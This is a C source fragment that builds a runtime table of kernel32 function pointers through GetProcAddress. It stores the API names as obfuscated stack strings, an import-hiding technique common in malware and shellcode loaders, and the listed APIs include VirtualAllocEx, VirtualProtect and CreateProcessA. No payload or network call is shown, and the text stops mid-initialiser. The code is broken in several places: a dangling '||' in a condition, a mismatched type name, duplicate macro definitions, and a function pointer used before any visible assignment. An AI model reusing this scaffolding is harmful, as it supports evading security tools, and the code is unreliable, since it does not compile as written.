---> kernel32 <---
BOOL WINAPI CloseHandle(_In_ HANDLE hObject);
HANDLE WINAPI CreateFileA(_In_ LPCSTR lpFileName,_In_ DWORD  dwDesiredAccess,_In_ DWORD dwShareMode,_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,_In_ DWORD dwCreationDisposition,_In_ DWORD dwFlagsAndAttributes,_In_opt_ HANDLE hTemplateFile);
BOOL WINAPI CreatePipe(_Out_ PHANDLE hReadPipe,_Out_ PHANDLE hWritePipe,_In_opt_ LPSECURITY_ATTRIBUTES lpPipeAttributes,_In_ DWORD nSize);
BOOL WINAPI CreateProcessA(_In_opt_    LPCSTR lpApplicationName,  _Inout_opt_ LPCSTR  lpCommandLine,  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,  _In_        BOOL    bInheritHandles,  _In_        DWORD   dwCreationFlags,  _In_opt_    LPVOID  lpEnvironment,  _In_opt_    LPCSTR lpCurrentDirectory,  _In_        LPSTARTUPINFO         lpStartupInfo,  _Out_       LPPROCESS_INFORMATION lpProcessInformation);
HANDLE WINAPI CreateThread(  _In_opt_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  _In_ SIZE_T  dwStackSize,  _In_ LPTHREAD_START_ROUTINE lpStartAddress,  _In_opt_  LPVOID  lpParameter,  _In_ DWORD   dwCreationFlags,  _Out_opt_ LPDWORD lpThreadId);
BOOL WINAPI DeleteFileA(_In_ LPCSTR lpFileName);
void WINAPI EnterCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
VOID WINAPI ExitThread(_In_ DWORD dwExitCode);
DWORD WINAPI ExpandEnvironmentStringsA(_In_  LPCSTR lpSrc,  _Out_opt_ LPCSTR  lpDst,  _In_      DWORD   nSize);
BOOL WINAPI FindClose(_Inout_ HANDLE hFindFile);
HANDLE WINAPI FindFirstFileA(_In_ LPCSTR lpFileName, _Out_ LPWIN32_FIND_DATA lpFindFileData);
BOOL WINAPI FindNextFileA(_In_ HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData);
BOOL WINAPI FlushFileBuffers(_In_ HANDLE hFile);
BOOL WINAPI FreeLibrary(_In_ HMODULE hModule);
HANDLE WINAPI GetCurrentProcess(void);
UINT WINAPI GetDriveTypeA(_In_opt_ LPCSTR lpRootPathName);
DWORD WINAPI GetFileSize(_In_ HANDLE  hFile,_Out_opt_ LPDWORD lpFileSizeHigh);
DWORD WINAPI GetEnvironmentVariableA(_In_opt_  LPCSTR lpName, _Out_opt_ LPSTR  lpBuffer, _In_ DWORD   nSize);
DWORD WINAPI GetEnvironmentVariableW(_In_opt_  LPCWSTR lpName, _Out_opt_ LPWSTR  lpBuffer, _In_ DWORD   nSize);
DWORD WINAPI GetLastError(void);
FARPROC WINAPI GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
VOID WINAPI GetSystemTimeAsFileTime(_Out_ LPFILETIME lpSystemTimeAsFileTime);
DWORD WINAPI GetTickCount(void);
LPVOID WINAPI GlobalLock(_In_ HGLOBAL hMem);
BOOL WINAPI GlobalUnlock(_In_ HGLOBAL hMem);
void WINAPI InitializeCriticalSection(_Out_ LPCRITICAL_SECTION lpCriticalSection);
void WINAPI LeaveCriticalSection(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
HLOCAL WINAPI LocalAlloc(_In_ UINT uFlags,_In_ SIZE_T uBytes);
HMODULE WINAPI LoadLibraryA(LPSTR lpFileName);
HLOCAL WINAPI LocalFree(_In_ HLOCAL hMem);
HLOCAL WINAPI LocalReAlloc(_In_ HLOCAL hMem,_In_ SIZE_T uBytes,_In_ UINT   uFlags);
VOID WINAPI OutputDebugStringA(_In_opt_ LPCSTR lpOutputString);
BOOL WINAPI ReadFile(_In_ HANDLE hFile, _Out_ LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToRead, _Out_opt_ LPDWORD lpNumberOfBytesRead, _Inout_opt_ LPOVERLAPPED lpOverlapped);
VOID WINAPI Sleep(_In_ DWORD dwMilliseconds);
LPVOID WINAPIV VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
LPVOID WINAPI VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL WINAPI VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
BOOL WINAPI VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DWORD WINAPI WaitForSingleObject(_In_ HANDLE hHandle, _In_ DWORD  dwMilliseconds);
BOOL WINAPI WriteFile(_In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_  DWORD  nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped);
typedef BOOL(WINAPI *CLOSEHANDLE)(_In_ HANDLE hObject);
typedef HANDLE(WINAPI *CREATEFILEA)(_In_ LPCSTR lpFileName,_In_ DWORD  dwDesiredAccess,_In_ DWORD dwShareMode,_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,_In_ DWORD dwCreationDisposition,_In_ DWORD dwFlagsAndAttributes,_In_opt_ HANDLE hTemplateFile);
typedef BOOL(WINAPI *CREATEPIPE)(_Out_ PHANDLE hReadPipe,_Out_ PHANDLE hWritePipe,_In_opt_ LPSECURITY_ATTRIBUTES lpPipeAttributes,_In_ DWORD nSize);
typedef BOOL(WINAPI *CREATEPROCESSA)(_In_opt_    LPCSTR lpApplicationName,  _Inout_opt_ LPCSTR  lpCommandLine,  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,  _In_        BOOL    bInheritHandles,  _In_        DWORD   dwCreationFlags,  _In_opt_    LPVOID  lpEnvironment,  _In_opt_    LPCSTR lpCurrentDirectory,  _In_        LPSTARTUPINFO         lpStartupInfo,  _Out_       LPPROCESS_INFORMATION lpProcessInformation);
typedef HANDLE(WINAPI *CREATETHREAD)(  _In_opt_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  _In_ SIZE_T  dwStackSize,  _In_ LPTHREAD_START_ROUTINE lpStartAddress,  _In_opt_  LPVOID  lpParameter,  _In_ DWORD   dwCreationFlags,  _Out_opt_ LPDWORD lpThreadId);
typedef BOOL(WINAPI *DELETEFILEA)(_In_ LPCSTR lpFileName);
typedef void(WINAPI *ENTERCRITICALSECTION)(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
typedef VOID(WINAPI *EXITTHREAD)(_In_ DWORD dwExitCode);
typedef DWORD(WINAPI *EXPANDENVIRONMENTSTRINGSA)(_In_  LPCSTR lpSrc,  _Out_opt_ LPCSTR  lpDst,  _In_      DWORD   nSize);
typedef BOOL(WINAPI *FINDCLOSE)(_Inout_ HANDLE hFindFile);
typedef HANDLE(WINAPI *FINDFIRSTFILEA)(_In_ LPCSTR lpFileName, _Out_ LPWIN32_FIND_DATA lpFindFileData);
typedef BOOL(WINAPI *FINDNEXTFILEA)(_In_ HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData);
typedef BOOL(WINAPI *FLUSHFILEBUFFERS)(_In_ HANDLE hFile);
typedef BOOL(WINAPI *FREELIBRARY)(_In_ HMODULE hModule);
typedef HANDLE(WINAPI *GETCURRENTPROCESS)(void);
typedef UINT(WINAPI *GETDRIVETYPEA)(_In_opt_ LPCSTR lpRootPathName);
typedef DWORD(WINAPI *GETFILESIZE)(_In_ HANDLE  hFile,_Out_opt_ LPDWORD lpFileSizeHigh);
typedef DWORD(WINAPI *GETENVIRONMENTVARIABLEA)(_In_opt_  LPCSTR lpName, _Out_opt_ LPSTR  lpBuffer, _In_ DWORD   nSize);
typedef DWORD(WINAPI *GETENVIRONMENTVARIABLEW)(_In_opt_  LPCWSTR lpName, _Out_opt_ LPWSTR  lpBuffer, _In_ DWORD   nSize);
typedef DWORD(WINAPI *GETLASTERROR)(void);
typedef FARPROC(WINAPI *GETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef VOID(WINAPI *GETSYSTEMTIMEASFILETIME)(_Out_ LPFILETIME lpSystemTimeAsFileTime);
typedef DWORD(WINAPI *GETTICKCOUNT)(void);
typedef LPVOID(WINAPI *GLOBALLOCK)(_In_ HGLOBAL hMem);
typedef BOOL(WINAPI *GLOBALUNLOCK)(_In_ HGLOBAL hMem);
typedef void(WINAPI *INITIALIZECRITICALSECTION)(_Out_ LPCRITICAL_SECTION lpCriticalSection);
typedef void(WINAPI *LEAVECRITICALSECTION)(_Inout_ LPCRITICAL_SECTION lpCriticalSection);
typedef HLOCAL(WINAPI *LOCALALLOC)(_In_ UINT uFlags,_In_ SIZE_T uBytes);
typedef HMODULE(WINAPI *LOADLIBRARYA)(LPSTR lpFileName);
typedef HLOCAL(WINAPI *LOCALFREE)(_In_ HLOCAL hMem);
typedef HLOCAL(WINAPI *LOCALREALLOC)(_In_ HLOCAL hMem,_In_ SIZE_T uBytes,_In_ UINT   uFlags);
typedef VOID(WINAPI *OUTPUTDEBUGSTRINGA)(_In_opt_ LPCSTR lpOutputString);
typedef BOOL(WINAPI *READFILE)(_In_ HANDLE hFile, _Out_ LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToRead, _Out_opt_ LPDWORD lpNumberOfBytesRead, _Inout_opt_ LPOVERLAPPED lpOverlapped);
typedef VOID(WINAPI *SLEEP)(_In_ DWORD dwMilliseconds);
typedef LPVOID(WINAPIV *VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef LPVOID(WINAPI *VIRTUALALLOCEX)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL(WINAPI *VIRTUALFREE)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef BOOL(WINAPI *VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
typedef DWORD(WINAPI *WAITFORSINGLEOBJECT)(_In_ HANDLE hHandle, _In_ DWORD  dwMilliseconds);
typedef BOOL(WINAPI *WRITEFILE)(_In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_  DWORD  nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped);



typedef struct _VTABLE_KERNEL32
{
    CLOSEHANDLE fpCloseHandle;
    CREATEFILEA fpCreateFileA;
    CREATEPIPE fpCreatePipe;
    CREATEPROCESSA fpCreateProcessA;
    CREATETHREAD fpCreateThread;
    DELETEFILEA fpDeleteFileA;
    ENTERCRITICALSECTION fpEnterCriticalSection;
    EXITTHREAD fpExitThread;
    EXPANDENVIRONMENTSTRINGSA fpExpandEnvironmentStringsA;
    FINDCLOSE fpFindClose;
    FINDFIRSTFILEA fpFindFirstFileA;
    FINDNEXTFILEA fpFindNextFileA;
    FLUSHFILEBUFFERS fpFlushFileBuffers;
    FREELIBRARY fpFreeLibrary;
    GETCURRENTPROCESS fpGetCurrentProcess;
    GETDRIVETYPEA fpGetDriveTypeA;
    GETFILESIZE fpGetFileSize;
    GETENVIRONMENTVARIABLEA fpGetEnvironmentVariableA;
    GETENVIRONMENTVARIABLEW fpGetEnvironmentVariableW;
    GETLASTERROR fpGetLastError;
    GETPROCADDRESS fpGetProcAddress;
    GETSYSTEMTIMEASFILETIME fpGetSystemTimeAsFileTime;
    GETTICKCOUNT fpGetTickCount;
    GLOBALLOCK fpGlobalLock;
    GLOBALUNLOCK fpGlobalUnlock;
    INITIALIZECRITICALSECTION fpInitializeCriticalSection;
    LEAVECRITICALSECTION fpLeaveCriticalSection;
    LOCALALLOC fpLocalAlloc;
    LOADLIBRARYA fpLoadLibraryA;
    LOCALFREE fpLocalFree;
    LOCALREALLOC fpLocalReAlloc;
    OUTPUTDEBUGSTRINGA fpOutputDebugStringA;
    READFILE fpReadFile;
    SLEEP fpSleep;
    VIRTUALALLOC fpVirtualAlloc;
    VIRTUALALLOCEX fpVirtualAllocEx;
    VIRTUALFREE fpVirtualFree;
    VIRTUALPROTECT fpVirtualProtect;
    WAITFORSINGLEOBJECT fpWaitForSingleObject;
    WRITEFILE fpWriteFile;

} VTABLE_KERNEL32, *PVTABLE_KERNEL32;




/* ---> kernel32 <--- */
#define API_CLOSEHANDLE			 CloseHandle
#define API_CREATEFILEA			 CreateFileA
#define API_CREATEPIPE			 CreatePipe
#define API_CREATEPROCESSA			 CreateProcessA
#define API_CREATETHREAD			 CreateThread
#define API_DELETEFILEA			 DeleteFileA
#define API_ENTERCRITICALSECTION			 EnterCriticalSection
#define API_EXITTHREAD			 ExitThread
#define API_EXPANDENVIRONMENTSTRINGSA			 ExpandEnvironmentStringsA
#define API_FINDCLOSE			 FindClose
#define API_FINDFIRSTFILEA			 FindFirstFileA
#define API_FINDNEXTFILEA			 FindNextFileA
#define API_FLUSHFILEBUFFERS			 FlushFileBuffers
#define API_FREELIBRARY			 FreeLibrary
#define API_GETCURRENTPROCESS			 GetCurrentProcess
#define API_GETDRIVETYPEA			 GetDriveTypeA
#define API_GETFILESIZE			 GetFileSize
#define API_GETENVIRONMENTVARIABLEA			 GetEnvironmentVariableA
#define API_GETENVIRONMENTVARIABLEW			 GetEnvironmentVariableW
#define API_GETLASTERROR			 GetLastError
#define API_GETPROCADDRESS			 GetProcAddress
#define API_GETSYSTEMTIMEASFILETIME			 GetSystemTimeAsFileTime
#define API_GETTICKCOUNT			 GetTickCount
#define API_GLOBALLOCK			 GlobalLock
#define API_GLOBALUNLOCK			 GlobalUnlock
#define API_INITIALIZECRITICALSECTION			 InitializeCriticalSection
#define API_LEAVECRITICALSECTION			 LeaveCriticalSection
#define API_LOCALALLOC			 LocalAlloc
#define API_LOADLIBRARYA			 LoadLibraryA
#define API_LOCALFREE			 LocalFree
#define API_LOCALREALLOC			 LocalReAlloc
#define API_OUTPUTDEBUGSTRINGA			 OutputDebugStringA
#define API_READFILE			 ReadFile
#define API_SLEEP			 Sleep
#define API_VIRTUALALLOC			 VirtualAlloc
#define API_VIRTUALALLOCEX			 VirtualAllocEx
#define API_VIRTUALFREE			 VirtualFree
#define API_VIRTUALPROTECT			 VirtualProtect
#define API_WAITFORSINGLEOBJECT			 WaitForSingleObject
#define API_WRITEFILE			 WriteFile

/* ---> kernel32 <--- */
#define API_CLOSEHANDLE			 pRuntime->pKernel32->fpCloseHandle
#define API_CREATEFILEA			 pRuntime->pKernel32->fpCreateFileA
#define API_CREATEPIPE			 pRuntime->pKernel32->fpCreatePipe
#define API_CREATEPROCESSA			 pRuntime->pKernel32->fpCreateProcessA
#define API_CREATETHREAD			 pRuntime->pKernel32->fpCreateThread
#define API_DELETEFILEA			 pRuntime->pKernel32->fpDeleteFileA
#define API_ENTERCRITICALSECTION			 pRuntime->pKernel32->fpEnterCriticalSection
#define API_EXITTHREAD			 pRuntime->pKernel32->fpExitThread
#define API_EXPANDENVIRONMENTSTRINGSA			 pRuntime->pKernel32->fpExpandEnvironmentStringsA
#define API_FINDCLOSE			 pRuntime->pKernel32->fpFindClose
#define API_FINDFIRSTFILEA			 pRuntime->pKernel32->fpFindFirstFileA
#define API_FINDNEXTFILEA			 pRuntime->pKernel32->fpFindNextFileA
#define API_FLUSHFILEBUFFERS			 pRuntime->pKernel32->fpFlushFileBuffers
#define API_FREELIBRARY			 pRuntime->pKernel32->fpFreeLibrary
#define API_GETCURRENTPROCESS			 pRuntime->pKernel32->fpGetCurrentProcess
#define API_GETDRIVETYPEA			 pRuntime->pKernel32->fpGetDriveTypeA
#define API_GETFILESIZE			 pRuntime->pKernel32->fpGetFileSize
#define API_GETENVIRONMENTVARIABLEA			 pRuntime->pKernel32->fpGetEnvironmentVariableA
#define API_GETENVIRONMENTVARIABLEW			 pRuntime->pKernel32->fpGetEnvironmentVariableW
#define API_GETLASTERROR			 pRuntime->pKernel32->fpGetLastError
#define API_GETPROCADDRESS			 pRuntime->pKernel32->fpGetProcAddress
#define API_GETSYSTEMTIMEASFILETIME			 pRuntime->pKernel32->fpGetSystemTimeAsFileTime
#define API_GETTICKCOUNT			 pRuntime->pKernel32->fpGetTickCount
#define API_GLOBALLOCK			 pRuntime->pKernel32->fpGlobalLock
#define API_GLOBALUNLOCK			 pRuntime->pKernel32->fpGlobalUnlock
#define API_INITIALIZECRITICALSECTION			 pRuntime->pKernel32->fpInitializeCriticalSection
#define API_LEAVECRITICALSECTION			 pRuntime->pKernel32->fpLeaveCriticalSection
#define API_LOCALALLOC			 pRuntime->pKernel32->fpLocalAlloc
#define API_LOADLIBRARYA			 pRuntime->pKernel32->fpLoadLibraryA
#define API_LOCALFREE			 pRuntime->pKernel32->fpLocalFree
#define API_LOCALREALLOC			 pRuntime->pKernel32->fpLocalReAlloc
#define API_OUTPUTDEBUGSTRINGA			 pRuntime->pKernel32->fpOutputDebugStringA
#define API_READFILE			 pRuntime->pKernel32->fpReadFile
#define API_SLEEP			 pRuntime->pKernel32->fpSleep
#define API_VIRTUALALLOC			 pRuntime->pKernel32->fpVirtualAlloc
#define API_VIRTUALALLOCEX			 pRuntime->pKernel32->fpVirtualAllocEx
#define API_VIRTUALFREE			 pRuntime->pKernel32->fpVirtualFree
#define API_VIRTUALPROTECT			 pRuntime->pKernel32->fpVirtualProtect
#define API_WAITFORSINGLEOBJECT			 pRuntime->pKernel32->fpWaitForSingleObject
#define API_WRITEFILE			 pRuntime->pKernel32->fpWriteFile



BOOL LoadKernel32(PRUNTIME pRuntime, PDYNAMIC_LOADER_STRINGS pRuntimeStrings)
{

    HMODULE hKernel32 = pRuntime->pKernel32->fpLoadLibraryA(pRuntimeStrings->strKernel32);

    if (hKernel32 == NULL)
	return FALSE;

    pRuntime->pKernel32->fpCloseHandle = (CLOSEHANDLE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCloseHandle);
    pRuntime->pKernel32->fpCreateFileA = (CREATEFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreateFileA);
    pRuntime->pKernel32->fpCreatePipe = (CREATEPIPE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreatePipe);
    pRuntime->pKernel32->fpCreateProcessA = (CREATEPROCESSA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreateProcessA);
    pRuntime->pKernel32->fpCreateThread = (CREATETHREAD)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strCreateThread);
    pRuntime->pKernel32->fpDeleteFileA = (DELETEFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strDeleteFileA);
    pRuntime->pKernel32->fpEnterCriticalSection = (ENTERCRITICALSECTION)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strEnterCriticalSection);
    pRuntime->pKernel32->fpExitThread = (EXITTHREAD)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strExitThread);
    pRuntime->pKernel32->fpExpandEnvironmentStringsA = (EXPANDENVIRONMENTSTRINGSA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strExpandEnvironmentStringsA);
    pRuntime->pKernel32->fpFindClose = (FINDCLOSE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFindClose);
    pRuntime->pKernel32->fpFindFirstFileA = (FINDFIRSTFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFindFirstFileA);
    pRuntime->pKernel32->fpFindNextFileA = (FINDNEXTFILEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFindNextFileA);
    pRuntime->pKernel32->fpFlushFileBuffers = (FLUSHFILEBUFFERS)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFlushFileBuffers);
    pRuntime->pKernel32->fpFreeLibrary = (FREELIBRARY)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strFreeLibrary);
    pRuntime->pKernel32->fpGetCurrentProcess = (GETCURRENTPROCESS)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetCurrentProcess);
    pRuntime->pKernel32->fpGetDriveTypeA = (GETDRIVETYPEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetDriveTypeA);
    pRuntime->pKernel32->fpGetFileSize = (GETFILESIZE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetFileSize);
    pRuntime->pKernel32->fpGetEnvironmentVariableA = (GETENVIRONMENTVARIABLEA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetEnvironmentVariableA);
    pRuntime->pKernel32->fpGetEnvironmentVariableW = (GETENVIRONMENTVARIABLEW)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetEnvironmentVariableW);
    pRuntime->pKernel32->fpGetLastError = (GETLASTERROR)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetLastError);
    pRuntime->pKernel32->fpGetProcAddress = (GETPROCADDRESS)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetProcAddress);
    pRuntime->pKernel32->fpGetSystemTimeAsFileTime = (GETSYSTEMTIMEASFILETIME)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetSystemTimeAsFileTime);
    pRuntime->pKernel32->fpGetTickCount = (GETTICKCOUNT)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGetTickCount);
    pRuntime->pKernel32->fpGlobalLock = (GLOBALLOCK)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGlobalLock);
    pRuntime->pKernel32->fpGlobalUnlock = (GLOBALUNLOCK)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strGlobalUnlock);
    pRuntime->pKernel32->fpInitializeCriticalSection = (INITIALIZECRITICALSECTION)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strInitializeCriticalSection);
    pRuntime->pKernel32->fpLeaveCriticalSection = (LEAVECRITICALSECTION)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLeaveCriticalSection);
    pRuntime->pKernel32->fpLocalAlloc = (LOCALALLOC)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLocalAlloc);
    pRuntime->pKernel32->fpLoadLibraryA = (LOADLIBRARYA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLoadLibraryA);
    pRuntime->pKernel32->fpLocalFree = (LOCALFREE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLocalFree);
    pRuntime->pKernel32->fpLocalReAlloc = (LOCALREALLOC)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strLocalReAlloc);
    pRuntime->pKernel32->fpOutputDebugStringA = (OUTPUTDEBUGSTRINGA)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strOutputDebugStringA);
    pRuntime->pKernel32->fpReadFile = (READFILE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strReadFile);
    pRuntime->pKernel32->fpSleep = (SLEEP)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strSleep);
    pRuntime->pKernel32->fpVirtualAlloc = (VIRTUALALLOC)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualAlloc);
    pRuntime->pKernel32->fpVirtualAllocEx = (VIRTUALALLOCEX)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualAllocEx);
    pRuntime->pKernel32->fpVirtualFree = (VIRTUALFREE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualFree);
    pRuntime->pKernel32->fpVirtualProtect = (VIRTUALPROTECT)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strVirtualProtect);
    pRuntime->pKernel32->fpWaitForSingleObject = (WAITFORSINGLEOBJECT)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strWaitForSingleObject);
    pRuntime->pKernel32->fpWriteFile = (WRITEFILE)pRuntime->pKernel32->fpGetProcAddress(hKernel32, pRuntimeStrings->strWriteFile);


    if (
        !pRuntime->pKernel32->fpCloseHandle || 
        !pRuntime->pKernel32->fpCreateFileA || 
        !pRuntime->pKernel32->fpCreatePipe || 
        !pRuntime->pKernel32->fpCreateProcessA || 
        !pRuntime->pKernel32->fpCreateThread || 
        !pRuntime->pKernel32->fpDeleteFileA || 
        !pRuntime->pKernel32->fpEnterCriticalSection || 
        !pRuntime->pKernel32->fpExitThread || 
        !pRuntime->pKernel32->fpExpandEnvironmentStringsA || 
        !pRuntime->pKernel32->fpFindClose || 
        !pRuntime->pKernel32->fpFindFirstFileA || 
        !pRuntime->pKernel32->fpFindNextFileA || 
        !pRuntime->pKernel32->fpFlushFileBuffers || 
        !pRuntime->pKernel32->fpFreeLibrary || 
        !pRuntime->pKernel32->fpGetCurrentProcess || 
        !pRuntime->pKernel32->fpGetDriveTypeA || 
        !pRuntime->pKernel32->fpGetFileSize || 
        !pRuntime->pKernel32->fpGetEnvironmentVariableA || 
        !pRuntime->pKernel32->fpGetEnvironmentVariableW || 
        !pRuntime->pKernel32->fpGetLastError || 
        !pRuntime->pKernel32->fpGetProcAddress || 
        !pRuntime->pKernel32->fpGetSystemTimeAsFileTime || 
        !pRuntime->pKernel32->fpGetTickCount || 
        !pRuntime->pKernel32->fpGlobalLock || 
        !pRuntime->pKernel32->fpGlobalUnlock || 
        !pRuntime->pKernel32->fpInitializeCriticalSection || 
        !pRuntime->pKernel32->fpLeaveCriticalSection || 
        !pRuntime->pKernel32->fpLocalAlloc || 
        !pRuntime->pKernel32->fpLoadLibraryA || 
        !pRuntime->pKernel32->fpLocalFree || 
        !pRuntime->pKernel32->fpLocalReAlloc || 
        !pRuntime->pKernel32->fpOutputDebugStringA || 
        !pRuntime->pKernel32->fpReadFile || 
        !pRuntime->pKernel32->fpSleep || 
        !pRuntime->pKernel32->fpVirtualAlloc || 
        !pRuntime->pKernel32->fpVirtualAllocEx || 
        !pRuntime->pKernel32->fpVirtualFree || 
        !pRuntime->pKernel32->fpVirtualProtect || 
        !pRuntime->pKernel32->fpWaitForSingleObject || 
        !pRuntime->pKernel32->fpWriteFile || 
	)
	return FALSE;

    return TRUE;
}


typedef struct _KERNEL32_STRINGS
{
	CHAR strCloseHandle[12];
	CHAR strCreateFileA[12];
	CHAR strCreatePipe[11];
	CHAR strCreateProcessA[15];
	CHAR strCreateThread[13];
	CHAR strDeleteFileA[12];
	CHAR strEnterCriticalSection[21];
	CHAR strExitThread[11];
	CHAR strExpandEnvironmentStringsA[26];
	CHAR strFindClose[10];
	CHAR strFindFirstFileA[15];
	CHAR strFindNextFileA[14];
	CHAR strFlushFileBuffers[17];
	CHAR strFreeLibrary[12];
	CHAR strGetCurrentProcess[18];
	CHAR strGetDriveTypeA[14];
	CHAR strGetFileSize[12];
	CHAR strGetEnvironmentVariableA[24];
	CHAR strGetEnvironmentVariableW[24];
	CHAR strGetLastError[13];
	CHAR strGetProcAddress[15];
	CHAR strGetSystemTimeAsFileTime[24];
	CHAR strGetTickCount[13];
	CHAR strGlobalLock[11];
	CHAR strGlobalUnlock[13];
	CHAR strInitializeCriticalSection[26];
	CHAR strLeaveCriticalSection[21];
	CHAR strLocalAlloc[11];
	CHAR strLoadLibraryA[13];
	CHAR strLocalFree[10];
	CHAR strLocalReAlloc[13];
	CHAR strOutputDebugStringA[19];
	CHAR strReadFile[9];
	CHAR strSleep[6];
	CHAR strVirtualAlloc[13];
	CHAR strVirtualAllocEx[15];
	CHAR strVirtualFree[12];
	CHAR strVirtualProtect[15];
	CHAR strWaitForSingleObject[20];
	CHAR strWriteFile[10];
} KERNEL32_STRINGS, *PKERNEL32_STRINGS;


KERNEL32_STRING runtimeStrings =
{
	{ 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'i', 'p', 'e',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'A',  0x0 },
	{ 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd',  0x0 },
	{ 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'A',  0x0 },
	{ 'E', 'n', 't', 'e', 'r', 'C', 'r', 'i', 't', 'i', 'c', 'a', 'l', 'S', 'e', 'c', 't', 'i', 'o', 'n',  0x0 },
	{ 'E', 'x', 'i', 't', 'T', 'h', 'r', 'e', 'a', 'd',  0x0 },
	{ 'E', 'x', 'p', 'a', 'n', 'd', 'E', 'n', 'v', 'i', 'r', 'o', 'n', 'm', 'e', 'n', 't', 'S', 't', 'r', 'i', 'n', 'g', 's', 'A',  0x0 },
	{ 'F', 'i', 'n', 'd', 'C', 'l', 'o', 's', 'e',  0x0 },
	{ 'F', 'i', 'n', 'd', 'F', 'i', 'r', 's', 't', 'F', 'i', 'l', 'e', 'A',  0x0 },
